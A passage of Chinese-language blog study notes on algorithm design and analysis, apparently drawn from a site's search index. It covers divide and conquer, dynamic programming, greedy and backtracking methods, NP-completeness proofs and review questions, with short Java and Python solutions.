❑令E’为选中的边集，若(u,v)∈ E’，则与其相邻的边都被删除，因此E’中无相邻边; ❑每次选一条边，则每次有两个顶点加入解集A，|A|=2|E’|; ❑设OPT为最优解，由于E’中无邻接边，OPT至少包含E’中每条边的一个顶点，故|E’|≤|OPT|; ❑故|A|=2|E’|≤2|OPT|，从而得性能比 |A|/|OPT|≤2。\n一些题目解答 # 1.什么是复杂性和渐进复杂性？ 计算资源的量 n趋近于无穷的渐进函数\n2.回溯法的约束函数和限界函数是干什么的？ 不满足约束条件 不满足最优解\n3.最优子结构？\n4.什么是算法？\n注意16和17的证明。\n解决问题的方法或者过程，满足有限性，确定性，可行性。\n递归分治1 # 1️⃣第一问\n第一次：将全体分成9/9/9分别称重，找出较轻的一份 第二次：将较轻的一份成3/3/3，找出较轻的一份 第三次：将较轻的一份成1/1/1，就此找出轻硬币 2️⃣第二问\n算法设计：将3𝑘分为3×3𝑘−1后找出较轻者，再将3𝑘−1分为3×3𝑘−2后找出较轻者，递归至最终只有一个硬币 递归表达式：𝑇(𝑛)=𝑇(𝑛3)+𝑂(1) T ( n ) ：原问题的规模 O ( 1 ) ：找出三者中哪个最轻 T (n3) ：分组后需要处理的那1/3份问题的规模 复杂度：由主定理直接得𝑛log𝑏⁡𝑎=1与𝑂(1)增长速度一样，所以𝑇(𝑛)=Θ(𝑛log𝑏⁡𝑎log⁡𝑛)=log⁡𝑛 ⚠️主定理：𝑇(𝑛)=𝑎𝑇(𝑛𝑏)+𝑓(𝑛)，则𝑇(𝑛)有如下渐进界\n条件 结论 f ( n ) 的增长慢于𝑛log𝑏⁡𝑎 T ( n ) = Θ ( n log b ⁡ a ) f ( n ) 的增长等于𝑛log𝑏⁡𝑎 T ( n ) = Θ ( n log b ⁡ a log ⁡ n ) f ( n ) 的增长快于𝑛log𝑏⁡𝑎 T ( n ) = Θ ( f ( n ) ) 递归分治2 # int f(int n) { if (n \u0026lt;= 1) return 1; return f(n-1)+f(n-2); } 1️⃣第一问：设𝑓(𝑛)问题中调用了𝑎(𝑛)次𝑓(0)，调用了𝑏(𝑛)次𝑓(1)\n递归条件： f ( n ) 本质上就是一堆𝑓(0)/𝑓(1)的相加 在𝑓(𝑛)中调用𝑓(0)/𝑓(1)的次数，就是在𝑓(𝑛–1)和𝑓(𝑛–2)中调用𝑓(0)/𝑓(1)的次数的总和 a ( n ) = a ( n – 1 ) + a ( n – 2 ) 以及𝑏(𝑛)=𝑏(𝑛–1)+𝑏(𝑛–2)，二者就是一个斐波那契数列 尝试前面几个值： f ( 0 ) = 1 直接返回自身的值，算是调用了𝑓(0)一次，所以𝑎(0)=1/𝑏(0)=0 f ( 1 ) = 1 直接返回自身的值，算是调用了𝑓(1)一次，所以𝑎(1)=0/𝑏(1)=1 前两项相加𝑓(2)=2/𝑎(2)=1/𝑏(2)=1 前两项相加𝑓(3)=3/𝑎(3)=1/𝑏(3)=2 前两项相加𝑓(4)=5/𝑎(4)=2/𝑏(4)=3 前两项相加𝑓(5)=8/𝑎(5)=3/𝑏(5)=5 可知𝑎(𝑛)比𝑓(𝑛)慢了两步所以𝑎(𝑛)=𝑓(𝑛–2)，𝑏(𝑛)比𝑓(𝑛)慢了一步所以𝑏(𝑛)=𝑓(𝑛–1) 2️⃣第二问\n将规模为𝑛的wenti分解为：规模为𝑛–1的问题+规模为𝑛–2的问题+常数时间合并 所以𝑇(𝑛)=𝑇(𝑛–1)+𝑇(𝑛–2)+𝑂(1) 这个递归式很难解也不用解，因为题目已经告诉你了𝑓(n)=15((1+52)𝑛+1–(1–52)𝑛+1) 所以复杂度为𝑂(𝑓(𝑛))=𝑂(15((1+52)𝑛+1–(1–52)𝑛+1))=𝑂((1+52)𝑛+1) 递归分治3 # 1️⃣算法设计：将𝐴分为两部分，如果A[mid]\u0026gt;mid则查找左半边，如果A[mid]\u0026lt;mid则查找右半边，如此递归\n2️⃣复杂度：递归表达式𝑇(𝑛)=𝑇(𝑛2)+𝑂(1)，其中𝑂(1)为比较中值大小耗时\n由此𝑛log𝑏⁡𝑎=1，所以属于主定理的情况二，复杂度为Θ(log⁡𝑛) 1️⃣是什么：给定𝑛种物品和容量为𝐶的背包，物品𝑖的重量为𝑤𝑖价格为𝑣𝑖，如何装物品进去使得背包中物品最贵\n要求：max∑𝑖=1𝑛𝑣𝑖𝑥𝑖 限制：∑𝑖=1𝑛𝑤𝑖𝑥𝑖≤𝐶，其中𝑥𝑖∈0,1用于表示物品𝑖装还是不装，并且1≤𝑖≤𝑛 3️⃣递归结构：𝑚(𝑖,𝑗)=max𝑚(𝑖+1,𝑗–𝑤𝑖)+𝑣𝑖,𝑚(𝑖+1,𝑗)\nj 为当前剩余容量，𝑖表示当前当前正在处理物品𝑖，𝑚是背包已放入物体1→𝑖的价值 放入物品𝑖则变为𝑚(𝑖+1,𝑗–𝑤𝑖)+𝑣𝑖，不放入物品𝑖则变为𝑚(𝑖+1,𝑗) 动态规划1 # 1️⃣令(𝑤,𝑣)表示当前背包的\u0026lt;重量,价值\u0026gt;\n放或不放物品1： ( 0 , 0 ) ( 5 , 3 ) 放或不放物品2： ( 0 , 0 ) ( 5 , 3 ) / ( 12 , 4 ) ( 17 , 7 ) 放或不放物品3： ( 0 , 0 ) ( 5 , 3 ) ( 12 , 4 ) ( 17 , 7 ) / ( 6 , 7 ) ( 11 , 10 ) ( 18 , 11 ) ( 23 , 14 ) 放或不放物品4： ( 0 , 0 ) ( 5 , 3 ) ( 12 , 4 ) ( 6 , 7 ) ( 11 , 10 ) / ( 7 , 9 ) ( 12 , 12 ) ( 19 , 13 ) ( 13 , 16 ) ( 18 , 19 ) 放或不放物品5：新增结点全部被支配，所以无任何变化 ( 0 , 0 ) ( 5 , 3 ) ( 6 , 7 ) ( 11 , 10 ) ( 7 , 9 ) ( 12 , 12 ) ( 13 , 16 ) ( 18 , 19 ) 2️⃣价值最大着(18,19)即为解，对应选择的物品是1/3/4\n⚠️注意每一轮需要删掉两种结点\n一个是总重量大于20的结点 另一个是被支配结点，比如结点𝐴的重量比别人大+价值还比别人小，则将其删掉 动态规划2 # 1️⃣第一问\n分放或者不放来更新会更加显然一些。\n放或不放物品1：(2,6) 不放：(0,0) 放入：(2,6) 放或不放物品2：(2,3) 不放：(0,0)(2,6) 放入：(2,3)(4,9)其中(2,3)被支配 放或不放物品3：(6,5) 不放：(0,0)(2,6)(4,9) 放入：(6,5)(8,11)(10,14)其中(6,5)被支配 放或不放物品4：(5,4) 不放：(0,0)(2,6)(4,9)(8,11)(10,14) 放入：(5,4)(7,10)(9,13)(13,15)(15,18)其中(5,4)被支配 放或不放物品5：(4,6) 不放：(0,0)(2,6)(4,9)(8,11)(10,14)(7,10)(9,13)(13,15)(15,18)其中(7,10)被支配 放入：(4,6)(6,12)(8,15)(12,17)(14,20)(11,16)(13,19)其中(4,6)被支配 2️⃣最优解源于(14,20)，选择的是1/2/3/5\n动态规划3 # 1️⃣对于数组𝐴，假设以𝐴[𝑖]结尾的子序列长度为𝐿[𝑖]\n对于介于0→𝑖之间的𝑗，如果𝐴[𝑖]\u0026gt;𝐴[𝑗]，则完全可以将𝐴[𝑖]加到以𝑗结尾的子序列当中 再与原有的𝐿[𝑖]值比较那个更大，也就是𝐿[𝑖]=max∀𝑗\u0026lt;𝑖𝐿[𝑗]+1,𝐿[𝑖] 如果𝐴[𝑖]\u0026lt;𝐴[𝑗]对所有的𝑗成立，则截至到𝐴[𝑗]的升序被打断，𝑖处最大升序只能为1即𝐿[𝑖]=1 2️⃣算法设计\n设长度𝐿[]=[1] 用𝑖遍历𝐴中每个元素 用𝑗遍历𝐴[0]到𝐴[𝑖]每个元素 如果𝐴[𝑖]\u0026gt;𝐴[𝑗]则𝐿[𝑖]=max𝐿[𝑗]+1,𝐿[𝑖] 输出𝐿[]中的最大值 动态规划4 # https://leetcode.cn/problems/maximum-product-subarray/\n1️⃣可能的连续子序列有𝐶𝑛22=𝑂(𝑛2)，计算乘的平均长度为𝑛2，所以复杂度为𝑂(𝑛3)或𝑂(𝑛2)(并行优化后)\n2️⃣分治法：\n将𝐴从𝐴[mid]处拆开 从𝐴[mid]往最右累乘，计算这一过程中的最大正数𝑅𝑃和最小负数𝑅𝑁 从𝐴[mid]往最左累乘，计算这一过程中的最大正数𝐿𝑃和最小负数𝐿𝑁 分别计算𝑅𝑃𝐿𝑃/𝑅𝑃𝐿𝑁/𝑅𝑁𝐿𝑃/𝑅𝑁𝐿𝑁，取其中最大值为𝑀 将左右两半边按照同样的方式递归处理 合并操作：假设每个结点的左/右半边最大乘积为max𝑙/max𝑟，则取maxmax𝑙,max𝑟,𝑀 复杂度：假设不论多少位的乘法都可以在𝑂(1)内并行完成，则𝑇(𝑛)=2𝑇(𝑛2)+𝑂(1) 说过很多遍了，由主方法可得复杂度为𝑂(𝑛) 3️⃣动态规划：\nM ( k )的递推：以下分析再加上𝐴[𝑘]自己，𝑀(𝑘)=max𝐴[𝑘],𝑀(𝑘–1)𝐴[𝑘],𝑚(𝑘–1)𝐴[𝑘]\nM ( k ) 潜在的最大：𝐴[𝑘]为负数时，𝑀(𝑘)=𝑚(𝑘–1)𝐴[𝑘] M ( k ) 潜在的最大：𝐴[𝑘]为正数时，𝑀(𝑘)=𝑀(𝑘–1)𝐴[𝑘] m ( k )的递推：以下分析再加上𝐴[𝑘]自己，𝑚(𝑘)=min𝐴[𝑘],𝑀(𝑘–1)𝐴[𝑘],𝑚(𝑘–1)𝐴[𝑘]\nm ( k ) 潜在的最小：𝐴[𝑘]为负数时，𝑚(𝑘)=𝑀(𝑘–1)𝐴[𝑘] m ( k ) 潜在的最小：𝐴[𝑘]为正数时，𝑚(𝑘)=𝑚(𝑘–1)𝐴[𝑘] 算法实现：复杂度为𝑂(𝑛)\n初始化𝑚[1]=𝐴[0]以及𝑀[1]=𝐴[0]\n用𝑖遍历整个𝐴数组\n按照递归式填补𝑚[𝑖]和𝑀[𝑖] 输出𝑀[𝑖]最大值\n代码如下，直接遍历以这个位置结尾的最大值和最小值。\nclass Solution { public int maxProduct(int[] nums) { int n = nums.length; int[] dpmin = new int[n]; int[] dpmax = new int[n]; dpmin[0] = nums[0]; dpmax[0] = nums[0]; int ans = nums[0]; for(int index = 1; index \u0026lt; n; ++index){ dpmax[index] = Math.max(nums[index], Math.max(dpmax[index - 1] * nums[index], dpmin[index - 1] * nums[index])); dpmin[index] = Math.min(nums[index], Math.min(dpmax[index - 1] * nums[index], dpmin[index - 1] * nums[index])); ans = Math.max(ans, dpmax[index]); } return ans; } } 动态规划5 # 1️⃣递推式：对𝑥[𝑖]有两种处理，即使用邮票𝑖或者不使用邮票𝑖\nfor (int i = 1; i \u0026lt; n; i++) { // 遍历物品 for(int j = 0; j \u0026lt;= bagWeight; j++) { // 遍历背包容量 if (j \u0026lt; weight[i]) dp[i][j] = dp[i - 1][j]; else dp[i][j] = max(dp[i - 1][j], dp[i][j - weight[i]] + value[i]); } } 如果不使用：也就是前𝑖–1张以最优结构凑出𝑗，所以𝑐[𝑖][𝑗]=𝑐[𝑖–1][𝑗] 如果使用：使用邮票𝑖后构成总邮资𝑗 01 背包问题：第𝑖张票不能再用了，也就是要前𝑖–1张邮票再构成总邮资𝑗–𝑥[𝑖] 完全背包问题：第𝑖张票有无限个还能再用，也就是要前𝑖张邮票再构成总邮资𝑗–𝑥[𝑖] 这里式完全背包问题，所以递归式为𝑐[𝑖][𝑗]=𝑐[𝑖][𝑗–𝑥[𝑖]]+1 合起来就是：𝑐[𝑖][𝑗]=min𝑐[𝑖–1][𝑗],𝑐[𝑖][𝑗–𝑥[𝑖]]+1 2️⃣初始条件：\nc [ 1 ] [ j ] ：要用第一种邮票构成邮资𝑗，由于𝑥[1]=1，所以𝑐[1][𝑗]=𝑗 c [ i ] [ 0 ] ：要用前𝑖种邮票构成邮资0，什么都不选就行了，所以𝑐[𝑖][0]=0 c [ i ] [ 1 ] ：要用前𝑖种邮票构成邮资1，显然就是选一个𝑥[1]就行了，所以𝑐[𝑖][1]=1 3️⃣四张邮票所以𝑖≤4，最大邮资为8所以𝑗≤8，不断代入递归式就行了\n动态规划6 # 1️⃣令𝑠𝑢𝑚[𝑖]为0→𝑖中子段最大和\ns u m [ i – 1 ]\n要么是正数/0\n为正：为𝑠𝑢𝑚[𝑖]做出正向的贡献，即𝑠𝑢𝑚[𝑖]=𝑠𝑢𝑚[𝑖–1]+𝑎[𝑖] 为负：为𝑠𝑢𝑚[𝑖]无贡献，即𝑠𝑢𝑚[𝑖]=𝑎[𝑖] 合起来就是：𝑠𝑢𝑚[𝑖]=max𝑠𝑢𝑚[𝑖–1]+𝑎[𝑖],𝑎[𝑖]\n3️⃣算法：加上负数抹成0的机制\ndef max_subarray_sum(a): if not a: return 0 dp = [0] * len(a) dp[0] = a[0] max_sum = max(dp[0], 0) for i in range(1, len(a)): dp[i] = max(dp[i-1] + a[i], a[i]) if dp[i] \u0026gt; max_sum: max_sum = dp[i] return max(max_sum, 0) 贪心算法1 # 很奇妙呢，就是直接分成很多的3。\n1️⃣这是一个严格的结论：令∀𝑛=3𝑚+r，其中𝑟=𝑛 mod 3\nr =0 是分解为3𝑚 r =1 是分解为3(𝑚–1)+2+2 r =2 是分解为3𝑚+2 2️⃣贪心选择性质：算法每一步的局部最优，会带来最终的全局最优\n首先证明分解数不超过4：假设某一个数分解出现了𝑘≥4，则乘积为𝑘×Rest 可以再将𝑘变成𝑘=2+(𝑘–2)，则乘积变为了2(𝑘–2)×Rest 2 ( k – 2 ) × Rest – k × Rest = ( k – 4 ) × Rest ≥ 0 ，所以消除𝑘能使得乘积更大 其次如果选择1也是不行的，比如𝑘×Rest≥1𝑘×Rest 所以最优情况必须是划为2或3的总和，接下来需要做的就是判断是以2为主还是以3为主 假设选择更多的2为最优，以6为例，＜23＜32所以不成立 所以应该分解为更多的3 余数的处理 余数为0，不处理 余数为1，出现了1就不是最优了，最优的做法是借一个3将其分为2+2 余数为2，不处理 贪心算法2 # 0️⃣概念理解\nX 被𝑌覆盖：也就是𝑋的每个子区间都必须被𝑌的某个子区间覆盖\n覆盖数：就是𝑌能覆盖𝑋后𝑌有多少子区间\n也就是中间可以有空的地方，这里要注意一下。\n注意有一个误区，就是𝑌必须是𝑋的子集，不然一个从头到尾的大区间就覆盖掉了，不论中间有没有空隙\n1️⃣贪心策略\n初始化：将𝑋中第一个区间放入𝑌，作为当前区间 更新：重复以下过程 如果当前区间与其他区间有交集 将选取右边界最大的有交集区间 将当前区间与右边界最大的区间进行合并加入到𝑌，形成新的当前区间 如果当前区间与其他区间没有交集 选取离当前区间距离最小的区间 将该区间加入到𝑌中，更新当前区间为该区间 2️⃣最优性证明：\n假设存在某个更优解，其必定在某一部需要选择一个右端点更小的区间 从而导致相比原有做法，后续需要更多区间覆盖，不是最优 所以矛盾，本方法最优 3️⃣复杂度：只需遍历一次，每个区间在每次遍历时只被处理一次，所以复杂度为𝑂(𝑛)\n贪心算法3 # https://leetcode.cn/problems/assign-cookies/description/\n1️⃣首先讲所有小孩/饼干按照饥饿度/饼干大小排序\n2️⃣用𝑖指针遍历小孩数组，用𝑗指针遍历饼干数组\n如果𝐶𝑖\u0026gt;𝐵𝑗，则执行𝑗++ 如果𝐶𝑖≤𝐵𝑗，则执行𝑗++/𝑖++/Count++ 3️⃣最终输出Count\nclass Solution { public int findContentChildren(int[] g, int[] s) { Arrays.sort(g); int kidsNumber = g.length; Arrays.sort(s); int cookiesNumber = s.length; int ans = 0; int i = 0; int j = 0; while(j \u0026lt; s.length \u0026amp;\u0026amp; i \u0026lt; g.length){ if(s[j] \u0026gt;= g[i]){ ++i; ++j; ++ans; }else{ ++j; } } return ans; } } 回溯法1 # 1️⃣解向量为𝑥1,𝑥2,\u0026hellip;,𝑥𝑛其中𝑥𝑖=0/1表示货物𝑖放/不放在船上，约束条件为𝑥𝑖∈0,1和∑𝑖=1𝑤𝑖𝑥𝑖≤𝑐\n2️⃣如下图，结点表示当前总重量，遇到结点\u0026gt;120的就剪枝\n回溯法2 # 0️⃣𝑛皇后问题：在𝑛×𝑛的棋盘上防止𝑛个皇后，所有的皇后不同行/不同列/不同对角线\n解向量：𝑥1,𝑥2,\u0026hellip;,𝑥𝑛其中𝑥𝑖表示棋子位于第𝑖行第𝑥𝑖列 显约束：𝑥𝑖∈1,2,\u0026hellip;,𝑛 隐约束：𝑥𝑖之间互不相等，不在同一对角线上|𝑥𝑖–𝑥𝑗|≠|𝑖–𝑗|，注意这个是所有对角线 1️⃣解空间树\n画个图来直接做剪枝的处理。\n回溯法3 # 1️⃣解向量为𝑥1,𝑥2,\u0026hellip;,𝑥𝑛，显性约束为𝑥𝑖=0,1，隐约束为∑𝑖=1𝑛𝑥𝑖𝑤𝑖=𝑚\n2️⃣解为：8+3\n回溯法4 # 1️⃣解向量为𝑥1,𝑥2,\u0026hellip;,𝑥𝑛\n显约束为𝑥𝑛=1,2,\u0026hellip;,𝑛且互相间不相同\n隐约束为在解向量中，当前在栈中的元素，必定排在已出栈元素的后面\n开始输出之后，就要一次性全部都输出出去。\n2️⃣123进栈后能输出的只有：123/132/213/321，完全倒推出解空间树\n回溯法5(递归回溯) # 0️⃣注意这个问题进行的是深度优先搜索，即递归回溯，具体的图我就不画了\n1️⃣算法思路：假设有𝑛个结点时\n初始化当前最优为1→2→3→4→5→1的距离，以便快速收敛 回溯函数：用𝑖遍历树的每层： 当𝑖\u0026lt;𝑛时，尝试将其与除结点𝑖外的下一层结点进行连接，如果从根到下一节点路径长于最优，则剪枝 当𝑖=𝑛时，尝试与起始点进行连接，如果能与起始点连接则计算哈密顿路径，更小则更新最优值 输出最终的最优值 0 NP1 # ​\t**(稠密子图问题DEN-SG)**给定无向图G，判定G中是否存在一个子图H，它有k个顶点，且至少有y条边。已知k团问题CLIQUE是NP完全问题，请证明稠密子图问题DEN-SG是NP完全问题。\n1️⃣两个问题分别是什么\n稠密子图问题：给定无向图𝐺，要寻找它的一个包含𝑘个顶点的子图，并且该子图边数大于等于𝑦 团问题：给定无向图𝐺，要寻找它的一个包含𝑘个顶点的子图，并且该子图结点互相两两连接 2️⃣先证明稠密子图NP，即它可在多项式时间内验证\n遍历子图所有顶点，并计算其边数，即可判断其总边数是否大于𝑦 耗𝑂(𝑘2)，所以是NP问题 3️⃣证明团问题可以线性时间内规约到稠密子图问题\n很显然的直接推理就可以。\n构建团问题的实例(𝐺,𝑘)：图𝐺中存在𝑘个结点两两连接的子图，则子图中边数为𝑘(𝑘−1)2 构建稠密子图问题的实例(𝐺,𝑘,𝑘(𝑘−1)2) 当团实例成立时，该稠密子图实例也成立，故团问题在多项式时间内规约到了稠密子图问题，证毕 NP2 # 证明顶点覆盖问题（Vertex Cover Problem）属于NPC类\n1️⃣两个问题分别是什么\n顶点覆盖问题：给定无向图𝐺，要寻找它的一个包含𝑘个顶点的子图，子图所有点能连接到图中所有边 团问题：给定无向图𝐺，要寻找它的一个包含𝑘个顶点的子图，并且该子图结点互相两两连接 2️⃣证明顶点覆盖问题是NP：也就是可在所想是时间内验证\n遍历子图中每一个点，记录每一点所连接的边，最后看这些边是否覆盖了所有边 时间复杂度𝑂(𝑘2) 3️⃣证明团问题可以线性时间内规约到顶点覆盖问题\n构建一个团问题的实例(𝐺,𝑘)：图𝐺中存在𝑘个结点两两连接的子图 构建覆盖问题实例(𝐺,|𝐺|−𝑘) 由于定理可知，当团问题实例成立时，覆盖问题实例也一定成立，证毕 NP3 # 1️⃣证明子集覆盖时NP的：遍历𝐶中每一子集，从左到右依次合并，将最终结果与𝑋对比，即可在𝑂(𝑛)内验证\n2️⃣证明顶点覆盖问题可在多项式时间内规约到子集覆盖问题\n核心的思路就是，全集为所有边，一个点关联的所有边为一个子集\n子图中点的边全覆盖了所有边，变成了子图中点对应的边的子集覆盖了全集\nNP4 # 👉𝑃问题：可在多项式时间内求解\n👉𝑁𝑃问题：可在多项式时间内验证，但无法求解\n👉𝑁𝑃𝐶问题：最难的𝑁𝑃问题\n👉𝑁𝑃难问题：难度比𝑁𝑃𝐶还要难的问题，但不一定是𝑁𝑃问题\n1️⃣分别对/错/错，见上图\n(判断)若问题A是一个P类问题，则A也是一个NP类问题 (判断)所有NP难问题都是NP问题 (判断)若问题A是一个NP问题，则A也是一P类问题\n​\n➡️由上图可知，选D\n2️⃣不对，不是上界是下界\n注意：在A归约B的情况下，到A的下界推出B的下界（相减），B的上界推出A的上界（相加）。\n(判断)若问题A的计算时间上界为O(𝑛2)，且问题A可在O(n)时间内变换为问题B，则问题B的计算时间上界也O(𝑛2)\n记住NP问题规约的一些结论：若𝐴可在𝑂(𝜏(𝑛))时间内变换到𝐵，即𝐴∝𝜏(𝑛)𝐵 显然凭直觉有𝑇𝐴=𝑂(𝜏(𝑛))+𝑇𝐵 则𝑇𝐴−𝑂(𝜏(𝑛))为𝐵的下界 则𝑇𝐵+𝑂(𝜏(𝑛))为𝐴的上界 ➡️由以上结论可得选𝐷\n3️⃣选𝐵要记住，如果𝐴是𝑁𝑃𝐶+𝐵是𝑁𝑃+𝐴线性时间可转化为𝐵，则𝐵是𝑁𝑃𝐶\n算法导论 # 1️⃣不对，程序可以无限执行，比如系统进程\n(判断)算法和程序都必须满足有限性，即在执行有限时间后结束 2️⃣两个都对\n(判断)若f(n)=O(g(n))，且f(n)=Ω(g(n))，则f(n)=Θ(g(n)) (判断)若f(n)=Θ(g(n))，则f(n)=Ω(g(n)) f ( n ) = O ( g ( n ) ) 即𝑓(𝑛)≤𝑐1𝑔(𝑛)，𝑓(𝑛)=Ω(𝑔(𝑛))即𝑓(𝑛)≥𝑐2𝑔(𝑛)，于是𝑐2𝑔(𝑛)≤𝑓(𝑛)≤𝑐1𝑔(𝑛)这就是𝛩(𝑔(𝑛))的定义 Θ ( g ( n ) ) 即𝑐2𝑔(𝑛)≤𝑓(𝑛)≤𝑐1𝑔(𝑛)，于是𝑐2𝑔(𝑛)≤𝑓(𝑛)这就是Ω(𝑔(𝑛))的定义 3️⃣就是说𝑓的增长要快于𝑔，所以是大于等于，也就是不小于，选𝐵\n➡️即𝑓(𝑛)≤𝑐𝑔(𝑛)，说明𝑔(𝑛)增长更快，所以𝑓(𝑛)阶更小(小于等于)，选𝐴\n➡️最好情况是紧的𝑐𝑓(𝑛)，所以平均情况肯定要高于𝑐𝑓(𝑛)，也就是以𝑐𝑓(𝑛)为下界，也就是Ω(𝑓(𝑛))选B\n4️⃣(7×2𝑛)×2=7×2𝑛′所以𝑛′=𝑛+1选𝐴\n➡️错误，归并排序又不是𝑂(𝑛)的\n如果一个归并排序算法在某台机器上用1秒钟排序5000个记录，则用2秒钟可以排序10000个记录 递归分治 # 1️⃣不对，直接间接调用，一个不能少\n(判断)递归算法就是指一个直接调用自身的算法。 ​\n2️⃣对的，不断将问题分治为更小的规模\n(判断)二分法搜索算法是运用了分治策略设计的。 ​\n3️⃣不对，也可以分治后，循环遍历处理每个子问题\n分治必须用递归实现 ​\n4️⃣由主定理可知𝑛log𝑏⁡𝑎=𝑛，属于情况1，所以为Θ(𝑛log𝑏⁡𝑎)=Θ(𝑛)，选𝐵\n主定理：𝑇(𝑛)=𝑎𝑇(𝑛𝑏)+𝑓(𝑛)，则𝑇(𝑛)有如下渐进界\n条件 结论 f ( n ) 的增长慢于𝑛log𝑏⁡𝑎 T ( n ) = Θ ( n log b ⁡ a ) f ( n ) 的增长等于𝑛log𝑏⁡𝑎 T ( n ) = Θ ( n log b ⁡ a log ⁡ n ) f ( n ) 的增长快于𝑛log𝑏⁡𝑎 T ( n ) = Θ ( f ( n ) ) ➡️采用的分治法，一分为二，左右两边都要处理，所以𝑇(𝑛)=2𝑇(𝑛2)+𝑐，所以是Θ(𝑛)\n5️⃣分别是：分治，贪心( Dijkstra )，动态规划，贪心。所以选A\n贪心 # 1️⃣非01背包就是要价值/背包中总重最大，所以也一定是贪心地做出最有利于增大这一比例的选择\n但是注意这里的非01背包问题，区别于01背包问题，可以将每个物品分割后放入 2️⃣选𝐶，每次贪心地选择一行内总和最小的两个数\n3️⃣贪心( Dijkstra )，因为每次都选离当前结点最近的点\n4️⃣都对，详见下\n(判断)在求最小生成树的算法中， Kruskal算法使用的是贪心策略 (判断)求最小生成树的Prim算法使用的设计策略是贪心策略 ​\nKruskal ：边扩展，操作对象为所有边，选择权重最小的边加入生成树中 Prim ：点扩展，操作对象为与当前生成树连接的边，选择权重最小边的点加入生成树中 DP # 1️⃣不对，动态规划适用于解决最优子结构+重叠子问题的确定性问题\n(判断)动态规划适合求解动态不确定性问题。 ​\n2️⃣对的，这是定义\n(判断)最优子结构性质是指问题的最优解包含了子问题的最优解。 ​\n3️⃣选𝐵，这是定义\n4️⃣不对，详见下表\n(判断)动态规划算法与分治法都采用自底向上的计算方式 ​\n特性 动态规划 分治法 分解方式 子问题可能重叠 子问题相互独立 计算方向 自底向上 自顶向下 是否存储子问题解 需要存储子问题解以避免重复计算 不需要存储子问题解 回溯算法 # 1️⃣正确：区别见下\n(判断)回溯法和分支限界法都是在问题解空间树上搜索问题解的算法 ​\n搜索策略不同：回溯法通常采用深度优先搜索，而分支限界法通常采用广度优先或最小耗费优先搜索 剪枝方式不同：回溯法主要依赖约束条件，而分支限界法依赖限界函数 2️⃣选𝐴，基本概念\n3️⃣选𝐶，回溯法是用约束条件剪去不满足约束的点及其子树，分支界限使用限界函数减去得不到最优解的子树\n4️⃣最坏情况要遍历所有的叶节点，有多少种排列就有几个叶节点，排列数为𝑛!，所以复杂度为𝑂(𝑛!)\n分支限界 # 1️⃣选𝐷，我们上面之前讲得比较清楚了\n2️⃣选𝐵，分析见下\n首先了解这三个概念 活结点：本身已生成，子节点还未全部生成 扩展结点：正在生成子节点 死结点：子节点全部生成完毕 回溯法：深度优先 比如当前结点有多个子节点，当前生成了一个结点后，先往深处搜索 搜索到底部了之后，再回溯过来生成下一个子节点 所有有多次机会 分支界限法：广度优先，一次性一股脑生成所有子节点，所以只有一次机会 3️⃣对的，结点选择方法，比如栈式分支/队列式分支/优先对列分支，会影响搜索的路径和效率\n(判断)扩展节点的选择影响分支限界法 ​\n4️⃣不对，二者的根本差别不在用不用栈，而在深度优先和广度优先搜索，还有剪枝规则\n(判断)在分支限界法中，如果将活结点用栈来存储，则这种分支界限法就是回溯法 概念题目 # 1️⃣写出分治、动态规划、贪心、回溯算法的策略\n分治：自上而下地将一个复杂问题分为若干简单可直接求解的子问题，通过子问题的解得到原有问题的解 动态规划：将原问题分为互相重叠的子问题，分别解决子问题最终自下而上地合并为原问题的解 贪心：每一步都采取当前状态下最好的选择，从而导致全局都是最优的 回溯：在问题的解空间树上深度优先搜索问题的解，并在不满足约束条件时进行剪枝回退 2️⃣什么是算法的复杂性？ 什么是算法的渐进复杂性？\n复杂性：算法运行所需要的所有计算资源 渐进复杂度：算法规模趋近于穷时，算法的复杂性所趋近的值 3️⃣在回溯法中， 什么是约束函数和界限函数？ 它们在搜索过程中的作用是什么？\n约束函数：用于检测是否满足约束条件，用于在回溯法中剪去不满足约束条件的结点及其子树 界限函数：用于计算当前结点是否能达到最优，用于剪去不能达到最优的结点及其子树 4️⃣什么是最优子结构？ 请举例说明。\n最优子结构：当一个问题的最优解包含其所有子问题的最优解时，称之为具有最优子结构 比如：Dijkstra问题中最短路径就具有最优子结构 5️⃣线性时间选择算法：找到第𝑘小的数\n将输入数组按5个一组划分，每组内元素进行排序，选出每组中位数组成一个新的数组 对新数组再进行相同操作，得到中位数的中位数，作为数组的Pivot划分数组 确定第𝑘小的数在数组那一部分，然后递归地处理呢一部分 6️⃣什么是算法？算法应满足的标准是什么？\n算法：解决问题的方法和过程，有穷操作和指令的集合 标准：确定性，有穷性，可行性，健壮性 ","date":"2025-05-11","externalUrl":null,"permalink":"/zh-cn/notes/algorithmdesign/","section":"","summary":"\u003ch1 class=\"relative group\"\u003e算法设计与分析 \n    \u003cdiv id=\"%E7%AE%97%E6%B3%95%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%88%86%E6%9E%90\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E7%AE%97%E6%B3%95%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%88%86%E6%9E%90\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e1.课太蠢，简单写一点复习笔记\u003c/p\u003e\n\u003cp\u003e2.大量的数学笔记都是我复制下来的，我没有手打这么多公式的耐心，只能感谢那名陌生的同学了,原来的仓库https://github.com/DANNHIROAKI/XJTU-CS-Courses/tree/master,可能这篇文章的阅读体验相对会更好一点，因为数学公式会直接渲染并且我会多余做一些补充和更改，如果原作者看到并且觉得这样不好，您可以直接联系我删除。\u003c/p\u003e\n\u003cp\u003e3.代码就会按照原书中来的，利用\u003cstrong\u003eJava\u003c/strong\u003e来实现。\u003c/p\u003e\n\u003cp\u003e4.\u003ca href=\"https://csdiy.wiki/%e6%95%b0%e6%8d%ae%e7%bb%93%e6%9e%84%e4%b8%8e%e7%ae%97%e6%b3%95/CS170/\" target=\"_blank\"\u003ehttps://csdiy.wiki/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95/CS170/\u003c/a\u003e 笔者非常后悔在学校老师狂念PPT的时候没有自学这个CS170,如果你还有机会，一定要看一看。\u003c/p\u003e","title":"AlgorithmDesign","type":"notes"},{"content":" 